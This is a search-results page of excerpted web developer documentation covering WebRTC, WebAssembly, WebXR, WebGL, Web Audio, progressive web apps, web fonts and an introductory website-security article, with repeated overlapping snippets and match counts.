WebRTC consists of several interrelated APIs and protocols which work together to achieve this. The documentation you'll find here will help you understand the fundamentals of
WebRTC, how to set up and use both data and media connections, and more. ...
...cing peer-to-peer, without requiring that the user installs plug-ins or any other third-party software.
WebRTC consists of several interrelated APIs and protocols which work together to achieve this. The documentation you'll find here will help you understand the fundamentals of
WebRTC, how to set up and use both data and media connections, and more. Interoperability Because implementations of
WebRTC are still evolving, and because each browser has different levels of support for codecs and
WebRTC features, you should strongly consider making use of the Adapter.js library provided by Google before you begin to write your code. Adapter.js uses shims and polyfills to smooth over the differences among the
WebRTC implementations across the environments supporting it. Adapter.js also handles p...
...ferent levels of support for codecs and
WebRTC features, you should strongly consider making use of the Adapter.js library provided by Google before you begin to write your code. Adapter.js uses shims and polyfills to smooth over the differences among the
WebRTC implementations across the environments supporting it. Adapter.js also handles prefixes and other naming differences to make the entire
WebRTC development process easier, with more broadly compatible results. The library is also available as an NPM package. To learn more about Adapter.js, see Improving compatibility using
WebRTC adapter.js. ...
...And 29 more matches
Codecs used by WebRTC - Web media technologies
The
WebRTC API makes it possible to construct
web sites and apps that let users communicate in real time, using audio and/or video as well as optional data and other information. To communicate, the two devices need to be able to agree upon a mutually-understood codec for each track so they can successfully communicate and present the shared media. This guide reviews the codecs that browsers are required to implement as well as other codecs that some or all browsers support for
WebRTC. Containerless media
WebRTC uses bare MediaStreamTrack objects for each track being shared from one peer to another, without a container or even a MediaStream associated with the tracks. Which codecs can be within those tracks is not mandated by the
WebRTC specification. However, RFC 7742 specifies that all W...
... video, and RFC 7874 specifies that browsers must support at least the Opus codec as well as G.711's PCMA and PCMU formats. These two RFCs also lay out options that must be supported for each codec, as well as specific user comfort features such as echo cancelation. This guide reviews the codecs that browsers are required to implement as well as other codecs that some or all browsers support for
WebRTC. While compression is always a necessity when dealing with media on the
web, it's of additional importance when videoconferencing in order to ensure that the participants are able to communicate without lag or interruptions. Of secondary importance is the need to keep the video and audio synchronized, so that the movements and any ancillary information (such as slides or a projection) are pre...
...ary importance is the need to keep the video and audio synchronized, so that the movements and any ancillary information (such as slides or a projection) are presented at the same time as the audio that corresponds. General codec requirements Before looking at codec-specific capabilities and requirements, there are a few overall requirements that must be met by any codec configuration used with
WebRTC. Unless the SDP specifically signals otherwise, the
web browser receiving a
WebRTC video stream must be able to handle video at at least 20 FPS at a minimum resolution of 320 pixels wide by 240 pixels tall. It's encouraged that video be encoded at a frame rate and size no lower than that, since that's essentially the lower bound of what
WebRTC generally is expected to handle. SDP supports a ...
...And 29 more matches
Using the WebAssembly JavaScript API - WebAssembly
If you have already compiled a module from another language using tools like Emscripten, or loaded and run the code yourself, the next step is to learn more about using the other features of the
WebAssembly JavaScript API. This article teaches you what you'll need to know. Note: If you are unfamiliar with the basic concepts mentioned in this article and need more explanation, read
WebAssembly concepts first, then come back. Some simple examples Let's run through some examples that explain how to use the
WebAssembly JavaScript API, and how to use it to load a wasm module in a
web page. Note: You can find the sample code in our
webassembly-examples GitHub repo. Preparing the example First we need a wasm module! Grab our simple.wasm file and save a copy in a new directory on your lo...
...dule! Grab our simple.wasm file and save a copy in a new directory on your local machine. Next, let's create a simple HTML file called index.html in the same directory as your wasm file (can use our simple template if you haven't got one easily available). Now, to help us understand what is going on here, let's look at the text representation of our wasm module (which we also meet in Converting
WebAssembly format to wasm): (module (func $i (import "imports" "imported_func") (param i32)) (func (export "exported_func") i32.const 42 call $i)) In the second line, you will see that the import has a two-level namespace -- the internal function $i is imported from imports.imported_func. We need to reflect this two-level namespace in JavaScript when writing the object to be importe...
... has a two-level namespace -- the internal function $i is imported from imports.imported_func. We need to reflect this two-level namespace in JavaScript when writing the object to be imported into the wasm module. Create a <script></script> element in your HTML file, and add the following code to it: var importObject = { imports: { imported_func: arg => console.log(arg) } }; Streaming the
WebAssembly module New in Firefox 58 is the ability to compile and instantiate
WebAssembly modules directly from underlying sources. This is achieved using the
WebAssembly.compileStreaming() and
WebAssembly.instantiateStreaming() methods. These methods are easier than their non-streaming counterparts, because they can turn the byte code directly into Module/Instance instances, cutting out the need t...
...And 29 more matches
Introduction to web APIs - Learn web development
Prerequisites: Basic computer literacy, a basic understanding of HTML and CSS, JavaScript basics (see first steps, building blocks, JavaScript objects). Objective: To gain familiarity with APIs, what they can do, and how you can use them in your code. What are APIs? Application Programming Interfaces (APIs) are constructs made available in programming languages to allow developers to create complex functionality more easily. ...
... entry for further description. APIs in client-side JavaScript Client-side JavaScript, in particular, has many APIs available to it -- these are not part of the JavaScript language itself, rather they are built on top of the core JavaScript language, providing you with extra superpowers to use in your JavaScript code. They generally fall into two categories: Browser APIs are built into your
web browser and are able to expose data from the browser and surrounding computer environment and do useful complex things with it. For example, the
Web Audio API provides JavaScript constructs for manipulating audio in the browser -- taking an audio track, altering its volume, applying effects to it, etc. In the background, the browser is actually using some complex lower-level code (e.g. C++ or Rus...
...ack, altering its volume, applying effects to it, etc. In the background, the browser is actually using some complex lower-level code (e.g. C++ or Rust) to do the actual audio processing. But again, this complexity is abstracted away from you by the API. Third-party APIs are not built into the browser by default, and you generally have to retrieve their code and information from somewhere on the
Web. For example, the Twitter API allows you to do things like displaying your latest tweets on your
website. It provides a special set of constructs you can use to query the Twitter service and return specific information. Relationship between JavaScript, APIs, and other JavaScript tools So above, we talked about what client-side JavaScript APIs are, and how they relate to the JavaScript langua...
...And 28 more matches
WebAssembly Concepts - WebAssembly
This article explains the concepts behind how
WebAssembly works including its goals, the problems it solves, and how it runs inside the
web browser's rendering engine. What is
WebAssembly? ...
... This article explains the concepts behind how
WebAssembly works including its goals, the problems it solves, and how it runs inside the
web browser's rendering engine. What is
WebAssembly? ...
... This article explains the concepts behind how
WebAssembly works including its goals, the problems it solves, and how it runs inside the
web browser's rendering engine. What is
WebAssembly?
WebAssembly is a new type of code that can be run in modern
web browsers and provides new features and major gains in performance. It is not primarily intended to be written by hand, rather it is designed to be an effective compilation target for low-level source languages like C, C++, Rust, etc. This has huge implications for the
web platform -- it provides a way to run code written in multiple languages on the
web at near-native speed, with client apps running on the
web that previously couldn't have done so. What's more, you don't even have to know how to create
WebAssembly code to take advantage of...
...And 28 more matches
WebXR Device API - Web APIs
WebXR is a group of standards which are used together to support rendering 3D scenes to hardware designed for presenting virtual worlds (virtual reality, or VR), or for adding graphical imagery to the real world, (augmented reality, or AR). The
WebXR Device API implements the core of the
WebXR feature set, managing the selection of output devices, render the 3D scene to the chosen device at the appropriate frame rate, and manage motion vectors created using input controllers. ...
...es to hardware designed for presenting virtual worlds (virtual reality, or VR), or for adding graphical imagery to the real world, (augmented reality, or AR). The
WebXR Device API implements the core of the
WebXR feature set, managing the selection of output devices, render the 3D scene to the chosen device at the appropriate frame rate, and manage motion vectors created using input controllers. ...
...ors created using input controllers.
WebXR-compatible devices include fully-immersive 3D headsets with motion and orientation tracking, eyeglasses which overlay graphics atop the real world scene passing through the frames, and handheld mobile phones which augment reality by capturing the world with a camera and augment that scene with computer-generated imagery. ...
...And 27 more matches
WebGLRenderingContext.getParameter() - Web APIs
The
WebGLRenderingContext.getParameter() method of the
WebGL API returns a value for the passed parameter name. Syntax any gl.getParameter(pname); Parameters pname A GLenum specifying which parameter value to return. See below for possible values. Return value Depends on the parameter. Parameter names
WebGL 1 You can query the following pname parameters when using a
WebGLRenderingContext. ...
... You can query the following pname parameters when using a
WebGLRenderingContext. ...
...UATION_RGB GLenum gl.BLEND_SRC_ALPHA GLenum gl.BLEND_SRC_RGB GLenum gl.BLUE_BITS GLint gl.COLOR_CLEAR_VALUE Float32Array (with 4 values) gl.COLOR_WRITEMASK sequence<GLboolean> (with 4 values) gl.COMPRESSED_TEXTURE_FORMATS Uint32Array Returns the compressed texture formats. ...
...And 26 more matches
Writing WebSocket servers - Web APIs
This is not a tutorial in any specific language, but serves as a guide to facilitate writing your own server. This article assumes you're already familiar with how HTTP works, and that you have a moderate level of programming experience. Depending on language support, knowledge of TCP sockets may be required. ...
...Script. This is not a tutorial in any specific language, but serves as a guide to facilitate writing your own server. This article assumes you're already familiar with how HTTP works, and that you have a moderate level of programming experience. Depending on language support, knowledge of TCP sockets may be required. ...
...uage, but serves as a guide to facilitate writing your own server. This article assumes you're already familiar with how HTTP works, and that you have a moderate level of programming experience. Depending on language support, knowledge of TCP sockets may be required. The scope of this guide is to present the minimum knowledge you need to write a
WebSocket server. Note: Read the latest official
WebSockets specification, RFC 6455. ...
...And 26 more matches
Fundamentals of WebXR - Web APIs
WebXR, with the
WebXR Device API at its core, provides the functionality needed to bring both augmented and virtual reality (AR and VR) to the
web. Together, these technologies are referred to as mixed reality, which is abbreviated XR. Mixed reality is a large and complex subject, with much to learn and many other APIs to bring together in order to create an engaging experience for users. In this guide, we provide a fundamental overview of what
WebXR is and how it works, as well as providing a foundation for what you'll need to know before you even begin to learn to develop augmented reality and virtual reality experiences for the
web. ...
...s a large and complex subject, with much to learn and many other APIs to bring together in order to create an engaging experience for users. In this guide, we provide a fundamental overview of what
WebXR is and how it works, as well as providing a foundation for what you'll need to know before you even begin to learn to develop augmented reality and virtual reality experiences for the
web. What
WebXR is and isn't
WebXR is an API for
web content and apps to use to interface with mixed reality hardware such as VR headsets and glasses with integrated augmented reality features. This includes both managing the process of rendering the views needed to simulate the 3D experience and the ability to sense the movement of the headset or other motion sensing apparatus to provide the needed data to l...
...nterface with mixed reality hardware such as VR headsets and glasses with integrated augmented reality features. This includes both managing the process of rendering the views needed to simulate the 3D experience and the ability to sense the movement of the headset or other motion sensing apparatus to provide the needed data to let you update the imagery shown to the user based on that movement. ...
...And 26 more matches
WebGL2RenderingContext - Web APIs
The
WebGL2RenderingContext interface provides the OpenGL ES 3.0 rendering context for the drawing surface of an HTML <canvas> element. To get an object of this interface, call getContext() on a <canvas> element, supplying "
webgl2" as the argument: var canvas = document.getElementById('myCanvas'); var gl = canvas.getContext('
webgl2');
WebGL 2 is an extension to
WebGL 1. The
WebGL2RenderingContext interface implements all members of the
WebGLRenderingContext interface. Some methods of the
WebGL 1 context can accept additional values when used in a
WebGL 2 context. You will find this info noted on the
WebGL 1 reference pages. The
WebGL tutorial has more information, examples, and resources on how to get started with
WebGL. Constants See the
WebGL constants page. State inform...
...xt interface implements all members of the
WebGLRenderingContext interface. Some methods of the
WebGL 1 context can accept additional values when used in a
WebGL 2 context. You will find this info noted on the
WebGL 1 reference pages. The
WebGL tutorial has more information, examples, and resources on how to get started with
WebGL. Constants See the
WebGL constants page. State information
WebGL2RenderingContext.getIndexedParameter() Returns the indexed value for the given target. Buffers
WebGL2RenderingContext.bufferData() Initializes and creates the buffer object's data store.
WebGL2RenderingContext.bufferSubData() Updates a subset of a buffer object's data store. ...
...resources on how to get started with
WebGL. Constants See the
WebGL constants page. State information
WebGL2RenderingContext.getIndexedParameter() Returns the indexed value for the given target. Buffers
WebGL2RenderingContext.bufferData() Initializes and creates the buffer object's data store.
WebGL2RenderingContext.bufferSubData() Updates a subset of a buffer object's data store.
WebGL2RenderingContext.copyBufferSubData() Copies part of the data of a buffer to another buffer.
WebGL2RenderingContext.getBufferSubData() Reads data from a buffer and writes them to an ArrayBuffer or SharedArrayBuffer. Framebuffers
WebGL2RenderingContext.blitFramebuffer() Transfers a block of pixels from the read framebuffer to the draw framebuffer. ...
...And 24 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
The first and most important thing to understand when considering the code to manage point-of-view and cameras in your application is this:
WebXR does not have cameras. There's no magic object provided by either the
WebGL or the
WebXR API that represents the viewer that you can simply rotate and move around to automatically change what's seen on the screen. In this guide we show how use
WebGL to simulate camera movements without having a camera to move. These techniques can be used in any
WebGL (or
WebXR) project. Animating 3D graphics is an area of software development that brings together multiple disciplines in computer science, mathematics, art, graphic design, kinematics, anatomy, physiology, physics, and cinematography. Since we don't have a real camera, we imagine one, reproducing th...
...gether multiple disciplines in computer science, mathematics, art, graphic design, kinematics, anatomy, physiology, physics, and cinematography. Since we don't have a real camera, we imagine one, reproducing the effect of having a camera, without actually having the ability to move the user around the scene. There are a few articles about the fundamental math, geometry, and other concepts behind
WebGL and
WebXR which may be useful to read before or while reading this one, including: Explaining basic 3D theory Matrix math for the
web WebGL model view projection Geometry and reference spaces in
WebXR Ed. note: Most diagrams used in this article to show how the camera moves while performing standard movements was taken from an article on the FilmmakerIQ
web site; namely, from this image...
...We hope that it's freely usable; if not, and you're the owner, please let us know and we'll find or produce new diagrams. ...
...And 24 more matches
Migrating from webkitAudioContext - Web APIs
The
Web Audio API went through many iterations before reaching its current state. It was first implemented in
WebKit, and some of its older parts were not immediately removed as they were replaced in the specification, leading to many sites using non-compatible code. In this article, we cover the differences in
Web Audio API since it was first implemented in
WebKit and how to update your code to use the modern
Web Audio API. The
Web Audio standard was first implemented in
WebKit, and the implementation was built in parallel with the work on the specification of the API. As the specification evolved and changes were made to the spec, some of the old implementation pieces were not removed from the
WebKit (and Blink) implementations due to backwards compatibility reasons. New engines i...
...rn
Web Audio API. The
Web Audio standard was first implemented in
WebKit, and the implementation was built in parallel with the work on the specification of the API. As the specification evolved and changes were made to the spec, some of the old implementation pieces were not removed from the
WebKit (and Blink) implementations due to backwards compatibility reasons. New engines implementing the
Web Audio spec (such as Gecko) will only implement the official, final version of the specification, which means that code using
webkitAudioContext or old naming conventions in the
Web Audio specification may not immediately work out of the box in a compliant
Web Audio implementation. This article attempts to summarize the areas where developers are likely to encounter these problems and provide exa...
...old naming conventions in the
Web Audio specification may not immediately work out of the box in a compliant
Web Audio implementation. This article attempts to summarize the areas where developers are likely to encounter these problems and provide examples on how to port such code to standards based AudioContext, which will work across different browser engines. Note: There is a library called
webkitAudioContext monkeypatch, which automatically fixes some of these changes to make most code targetting
webkitAudioContext to work on the standards based AudioContext out of the box, but it currently doesn't handle all of the cases below. Please consult the README file for that library to see a list of APIs that are automatically handled by it. Changes to the creator methods Three of the cre...
...And 23 more matches
Web audio codec guide - Web media technologies
Even modest quality, high-fidelity stereo sound can use a substantial amount of disk space. For
web developers, an even bigger concern is the network bandwidth needed in order to transfer audio, whether for streaming or to download it for use during gameplay. The processing of audio data to encode and decode it is handled by an audio codec (COder/DECoder). In this article, we look at audio codecs used on the
web to compress and decompress audio, what their capabilities and use cases are, and offer guidance when choosing audio codecs to use for your content. Additionally,
WebRTC implementations generally use a subset of these codecs for their encoding and decoding of media, and may support additional codecs as well, for optimal cross-platform support of video and audio conferencing, and to i...
... For information about the fundamental concepts behind how digital audio works, see the article Digital audio concepts. Common codecs The list below denotes the codecs most commonly used on the
web and which containers (file types) support them. ...
...port additional codecs as well, for optimal cross-platform support of video and audio conferencing, and to integrate better with legacy telecommunication solutions. See Codecs used by
WebRTC for details. For information about the fundamental concepts behind how digital audio works, see the article Digital audio concepts. Common codecs The list below denotes the codecs most commonly used on the
web and which containers (file types) support them. If all you need to know is which codecs are even possible to use, this is for you. Of course, individual browsers may or may not choose to support all of these codecs, and their support for which container types can use them may vary as well. In addition, browsers may choose to support additional codecs not included on this list. Codec nam...
...And 22 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
While progressive
web apps (PWAs) can do anything any
web content can do, they need to have a particular structure and include specific components in order to be recognized as a
web app that can be used both on the
web and installed and run as a local application. In this structural overview, we'll look at the features that make up a standard
web application, as well as some design patterns you can follow when building your PWA. Architecture of an app There are two main, different approaches to rendering a
website -- on the server or on the client. They both have their advantages and disadvantages, and you can mix the two approaches to some degree. ...
...l look at the features that make up a standard
web application, as well as some design patterns you can follow when building your PWA. Architecture of an app There are two main, different approaches to rendering a
website -- on the server or on the client. They both have their advantages and disadvantages, and you can mix the two approaches to some degree. Server-side rendering (SSR) means a
website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new HTML content. It works great across browsers, but it suffers in terms of time navigating between pages and therefore general perceived performance -- loading a page requires a new round trip to the server. ...
...er-side rendering (SSR) means a
website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new HTML content. It works great across browsers, but it suffers in terms of time navigating between pages and therefore general perceived performance -- loading a page requires a new round trip to the server. Client-side rendering (CSR) allows the
website to be updated in the browser almost instantly when navigating to different pages, but requires more of an initial download hit and extra rendering on the client at the beginning. The
website is slower on an initial visit, but can be faster to navigate. ...
...And 22 more matches
Web Audio API - Web APIs
Basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. Several sources -- with different types of channel layout -- are supported even within a single context. This modular design provides the flexibility to create complex audio functions with dynamic effects. ...
...esigned to allow modular routing. Basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. Several sources -- with different types of channel layout -- are supported even within a single context. This modular design provides the flexibility to create complex audio functions with dynamic effects. Audio nodes are linked into chains and simple
webs by their inputs and outputs. They typically start with one or more sources. Sources provide arrays of sound intensities (samples) at very small timeslices, often tens of thousands of them per second. These could be either computed mathematically (such as OscillatorNode), or they can be recordings from sound/video files (like AudioBufferSourceNode and MediaElementAudioSourceNode) and audio stream...
...the samples by a value to make them louder or quieter (as is the case with GainNode). Once the sound has been sufficiently processed for the intended effect, it can be linked to the input of a destination (AudioContext.destination), which sends the sound to the speakers or headphones. This last connection is only necessary if the user is supposed to hear the audio. A simple, typical workflow for
web audio would look something like this: Create audio context Inside the context, create sources -- such as <audio>, oscillator, stream Create effects nodes, such as reverb, biquad filter, panner, compressor Choose final destination of audio, for example your system speakers Connect the sources up to the effects, and the effects to the destination. Timing is controlled with high precision...
...And 20 more matches
Introduction to progressive web apps - Progressive web apps (PWAs)
Overview: Progressive
web apps Next This article provides an introduction to Progressive
Web Apps (PWAs), discussing what they are and the advantages they offer over regular
web apps. What is a Progressive
Web App? The term "Progressive
Web App" isn't a formal or official name. It's just a shorthand used initially by Google for the concept of creating a flexible, adaptable app using only
web technologies. PWAs are
web apps developed using a number of specific technologies and standard patterns to allow them to take advantage of both
web and native app features. For example,
web apps are more discoverable than native apps; it's a lot easier and faster to visit a
website than to install an application, and you can also share
web apps by simply sending a link. On the other...
...n also share
web apps by simply sending a link. On the other hand, native apps are better integrated with the operating system and therefore offer a more seamless experience for the users. You can install a native app so that it works offline, and users love tapping their icons to easily access their favorite apps, rather than navigating to it using a browser. PWAs give us the ability to create
web apps that can enjoy these same advantages. It's not a brand new concept--such ideas have been revisited many times on the
web platform with various approaches in the past. Progressive Enhancement and responsive design already allow us to build mobile friendly
websites. PWAs, however, provide all this and more without losing any of the existing features that make the
web great. What makes an ap...
...eb platform with various approaches in the past. Progressive Enhancement and responsive design already allow us to build mobile friendly
websites. PWAs, however, provide all this and more without losing any of the existing features that make the
web great. What makes an app a PWA? As we hinted at above, PWAs are not created with a single technology. They represent a new philosophy for building
web apps, involving some specific patterns, APIs, and other features. It's not that obvious if a
web app is a PWA or not from first glance. An app could be considered a PWA when it meets certain requirements, or implements a set of given features: works offline, is installable, is easy to synchronize, can send push notifications, etc. In addition, there are tools to measure how complete (as a percen...
...And 20 more matches
Web fonts - Learn web development
Previous Overview: Styling text Next In the first article of the module, we explored the basic CSS features available for styling fonts and text. In this article we will go further, exploring
web fonts in detail -- these allow you to download custom fonts along with your
web page, to allow for more varied, custom text styling. Prerequisites: Basic computer literacy, HTML basics (study Introduction to HTML), CSS basics (study Introduction to CSS), CSS text and font fundamentals. Objective: To learn how to apply
web fonts to a
web page, using either a third party service, or by writing your own code. Font families recap As we looked at in Fundamental text and font styling, the fonts applied to your HTML can be controlled using the font-family property.
... As we looked at in Fundamental text and font styling, the fonts applied to your HTML can be controlled using the font-family property. ...
...font family names, and the browser travels down the list until it finds a font it has available on the system it is running on: p { font-family: Helvetica, "Trebuchet MS", Verdana, sans-serif; } This system works well, but traditionally
web developers' font choices were limited. ...
...And 19 more matches
Progressive web app structure - Progressive web apps (PWAs)
Previous Overview: Progressive
web apps Next Now that we know the theory behind PWAs, let's look at the recommended structure of an actual app. We will start with analyzing the js13kPWA application, why it is built that way, and what benefits it brings. Architecture of an app There are two main, different approaches to rendering a
website -- on the server or on the client. They both have their advantages and disadvantages, and you can mix the two approaches to some degree. Server-side rendering (SSR) means a
website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new HTML content. It works great across browsers, but it suffers in terms of time navigating between pages and therefore general perceived performanc...
...er-side rendering (SSR) means a
website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading new HTML content. It works great across browsers, but it suffers in terms of time navigating between pages and therefore general perceived performance -- loading a page requires a new round trip to the server. Client-side rendering (CSR) allows the
website to be updated in the browser almost instantly when navigating to different pages, but requires more of an initial download hit and extra rendering on the client at the beginning. The
website is slower on an initial visit, but can be faster to navigate. ...
...The first page load is quick because of the SSR, and the navigation between pages is smooth because the client can re-render the page with only the parts that have changed. ...
...And 19 more matches
Website security - Learn web development
This introductory article won't make you a
website security guru, but it will help you understand where threats come from, and what you can do to harden your
web application against the most common attacks. Prerequisites: Basic computer literacy. Objective: To understand the most common threats to
web application security and what you can do to reduce the risk of your site being hacked. ...
...ite security requires vigilance in all aspects of
website design and usage. This introductory article won't make you a
website security guru, but it will help you understand where threats come from, and what you can do to harden your
web application against the most common attacks. Prerequisites: Basic computer literacy. Objective: To understand the most common threats to
web application security and what you can do to reduce the risk of your site being hacked. What is
website security? The Internet is a dangerous place! With great regularity, we hear about
websites becoming unavailable due to denial of service attacks, or displaying modified (and often damaging) information on their homepages. In other high-profile cases, millions of passwords, email addresse...
...ng hacked. What is
website security? The Internet is a dangerous place! With great regularity, we hear about
websites becoming unavailable due to denial of service attacks, or displaying modified (and often damaging) information on their homepages. In other high-profile cases, millions of passwords, email addresses, and credit card details have been leaked into the public domain, exposing
website users to both personal embarrassment and financial risk. The purpose of
website security is to prevent these (or any) sorts of attacks. The more formal definition of
website security is the act/practice of protecting
websites from unauthorized access, use, modification, destruction, or disruption. Effective
website security requires design effort across the whole of the
website: in your
web...
...And 18 more matches
WebGL model view projection - Web APIs
This article explores how to take data within a
WebGL project, and project it into the proper spaces to display it on the screen. It assumes a knowledge of basic matrix math using translation, scale, and rotation matrices. It explains the three core matrices that are typically used when composing a 3D scene: the model, view and projection matrices. Note: This article is also available as an MDN content kit. It also uses a collection of utility functions available under the MDN global object. The model, view, and projection matrices Individual transformations of points and polygons in space in
WebGL are handled by the basic transformation matrices like translation, scale, and rotation. These matrices can be composed together and grouped in special ways to make them useful for rendering c...
...bjects in the scene to simulate the position of the camera being changed, altering what the viewer is currently able to see. The sections below offer an in-depth look into the ideas behind and implementation of the model, view, and projection matrices. These matrices are core to moving data around on the screen, and are concepts that transcend individual frameworks and engines. Clip space In a
WebGL program, data is typically uploaded to the GPU with its own coordinate system and then the vertex shader transforms those points into a special coordinate system known as clip space. Any data which extends outside of the clip space is clipped off and not rendered. However, if a triangle straddles the border of this space then it is chopped up into new triangles, and only the parts of the new tr...
...ualization of the clip space that all of the points must fit into. It is a cube two units on each side, with one corner at (-1,-1,-1) and the opposite corner at (1,1,1). The center of the cube is the point (0,0,0). This 8 cubic meter coordinate system used by clip space is known as normalized device coordinates (NDC). You may encouter that term from time to time while researching and wokring with
WebGL code. For this section we will put our data into the clip space coordinate system directly. Normally model data is used that is in some arbitrary coordinate system, and is then transformed using a matrix, converting the model coordinates into the clip space coordinate system. For this example, it's easiest to illustrate how clip space works by simply using model coordinate values ranging from ...
...And 18 more matches
Document and website structure - Learn web development
Previous Overview: Introduction to HTML Next In addition to defining individual parts of your page (such as "a paragraph" or "an image"), HTML also boasts a number of block level elements used to define areas of your
website (such as "the header", "the navigation menu", "the main content column"). This article looks into how to plan a basic
website structure, and write the HTML to represent this structure. Prerequisites: Basic HTML familiarity, as covered in Getting started with HTML. HTML text formatting, as covered in HTML text fundamentals. How hyperlinks work, as covered in Creating hyperlinks. Objective: Learn how to structure your document using semantic tags, and how to work out the structure of a simple
website. Basic sections of a document W...
... sections of a document
Webpages can and will look pretty different from one another, but they all tend to share similar standard components, unless the page is displaying a fullscreen video or game, is part of some kind of art project, or is just badly structured: header: Usually a big strip across the top with a big heading, logo, and perhaps a tagline. ...
...or game, is part of some kind of art project, or is just badly structured: header: Usually a big strip across the top with a big heading, logo, and perhaps a tagline. This usually stays the same from one
webpage to another. navigation bar: Links to the site's main sections; usually represented by menu buttons, links, or tabs. Like the header, this content usually remains consistent from one
webpage to another -- having inconsistent navigation on your
website will just lead to confused, frustrated users. ...
...And 16 more matches
Geometry and reference spaces in WebXR - Web APIs
At a fundamental level, rendering of scenes for
WebXR presentation in either augmented reality or virtual reality contexts is performed using
WebGL, so the two APIs share much of the same design language. However, in order to provide the ability to present scenes in true 3D using XR headsets and other such equipment,
WebXR has additional concepts that must be understood. In this article, we introduce the ways in which
WebXR expands upon the geometry of
WebGL, and how the positions and orientations of objects--both physical and virtual--are described in relation to one another using spaces and, in particular, reference spaces. ...
...rue 3D using XR headsets and other such equipment,
WebXR has additional concepts that must be understood. In this article, we introduce the ways in which
WebXR expands upon the geometry of
WebGL, and how the positions and orientations of objects--both physical and virtual--are described in relation to one another using spaces and, in particular, reference spaces. The article Spatial tracking in
WebXR builds upon the information provided here to cover how the physical position and orientation of the user's head, as well as potentially other parts of their body such as the hands, are mapped into the digital world, as well as how the relative positions of both physical and virtual objects are tracked as they move around, so that the scene can be properly rendered and composited. Fundamentals ...
...e the positions, orientations, and movement of objects in virtual space--plus the need to integrate the human viewer of the scene into the mix--a thorough introduction to geometry and the use of matrices and vectors to manage 3D representations of a scene is well beyond the scope of what can be accomplished in this article. You can learn more about the individual operations in Matrix math for the
web. Units Before discussing the details of the geometry of the 3D space used by
WebXR, it's first useful to understand the units of measure that are applied to the 3D world. Lengths and distances
WebGL measures all distances and lengths in meters.
WebXR inherits this standard, as well as the fact that the world is a cube two meters wide, two meters tall, and two meters deep. Each of the three ax...
...And 16 more matches
Rendering and the WebXR frame animation callback - Web APIs
Once your
WebXR environment has been set up and an XRSession created to represent an ongoing XR environment session, you need to provide frames of the scene to the XR device for rendering. This article covers the process of driving the frames of the XR scene to the device in the rendering loop, using the XRSession to obtain an XRFrame object representing each frame, which is then used to prepare the framebuffer for delivery to the XR device. Before you can render the virtual environment, you need to establish a
WebXR session by creating an XRSession using the navigator.xr.requestSession() method; you also need to associate the session with a framebuffer and perform other setup tasks. These setup tasks are described in the article Setting up and shutting down a
WebXR session. Preparing the ...
...This begins with getting the reference space in which you want to draw, with its origin and orientation set at the viewer's starting position and viewing direction. ...
...This begins with getting the reference space in which you want to draw, with its origin and orientation set at the viewer's starting position and viewing direction. ...
...And 16 more matches
How much does it cost to do something on the Web? - Learn web development
In this article we discuss how much you may have to spend, and why. Prerequisites: You should already understand what software you need, the difference between a
webpage, a
website, etc., and what a domain name is. Objective: Review the complete process for creating a
website and find out how much each step can cost. Summary When launching a
website, you may spend nothing, or your costs may go through the roof. In this article we discuss how much everything costs, and how you get what you pay (or don't pay). Software Text editors You likely have a text editor: such as, Notepad on Windows, Gedit on Linux, TextEdit on Mac. ...
...le formats, but each editor saves ongoing projects in its own specialized format. Most of the images on the internet are copyrighted, so it is better to check the license of the file before you use it. Sites like Pixabay provide images under CC0 license, so you can use, edit and publish them even with modification for commercial use. Media editors If you want to include video or audio into your
website, you can either embed online services (for example YouTube, Vimeo, or Dailymotion), or include your own videos (see below for bandwidth costs). For audio files, you can find free software (Audacity, Wavosaur), or paying up to a few hundred dollars (Sony Sound Forge, Adobe Audition). Likewise, video-editing software can be free (PiTiVi, OpenShot for Linux, iMovie for Mac), less than $100 (Ado...
...obe Audition). Likewise, video-editing software can be free (PiTiVi, OpenShot for Linux, iMovie for Mac), less than $100 (Adobe Premiere Elements), or several hundred dollars (Adobe Premiere Pro, Avid Media Composer, Final Cut Pro). The software you received with your digital camera may cover all your needs. Publishing tools You also need a way to upload files: from your hard drive to a distant
web server. To do that you should use a publishing tool such as an (S)FTP client, RSync, or Git/GitHub. Each operating system includes an (S)FTP client, as part of its file manager. Windows Explorer, Nautilus (a common Linux file manager), and the Mac Finder all include this functionality. However, people often choose dedicated (S)FTP clients to display local or remote directories side-by-side and s...
...And 15 more matches
How do I start to design my website? - Learn web development
This article covers the all-important first step of every project: define what you want to accomplish with it. Prerequisites: None Objective: Learn to define goals to give direction to your
web project. Summary When starting with a
web project, many people focus on the technical side. Of course you must be familiar with the technique of your craft, but what really matters is what you want to accomplish. Yes, it seems obvious, but too many projects fail not from a lack of technical know-how, but from lack of goals and vision. ...
...eb project. Summary When starting with a
web project, many people focus on the technical side. Of course you must be familiar with the technique of your craft, but what really matters is what you want to accomplish. Yes, it seems obvious, but too many projects fail not from a lack of technical know-how, but from lack of goals and vision. So when you get an idea and want to turn it into a
website, there are a few questions you should answer before anything else: What exactly do I want to accomplish? How will a
website help me reach my goals? What needs to be done, and in what order, to reach my goals? All of this is called project ideation and is a necessary first step to reach your goal, whether you are a beginner or an experienced developer. Active Learning There is no acti...
...s is called project ideation and is a necessary first step to reach your goal, whether you are a beginner or an experienced developer. Active Learning There is no active learning available yet. Deeper dive A project never starts with the technical side. Musicians will never make any music unless they first have an idea of what they want to play--and the same is true for painters, writers, and
web developers. Technique comes second. Technique is obviously critical. Musicians must master their instrument. But good musicians can never produce good music without an idea. Therefore, before jumping into the technical side--for example, code and tools--you must first step back and decide in detail what you want to do. An hour's discussion with friends is a good start, but inadequate. You must ...
...And 15 more matches
Using the Web Animations API - Web APIs
The
Web Animations API lets us construct animations and control their playback with JavaScript. This article will start you off in the right direction with fun demos and tutorials featuring Alice in Wonderland. Meet the
Web Animations API The
Web Animations API opens the browser's animation engine to developers and manipulation by JavaScript. This API was designed to underlie implementations of both CSS Animations and CSS Transitions, and leaves the door open to future animation effects. It is one of the most performant ways to animate on the
Web, letting the browser make its own internal optimizations without hacks, coercion, or Window.requestAnimationFrame(). ...
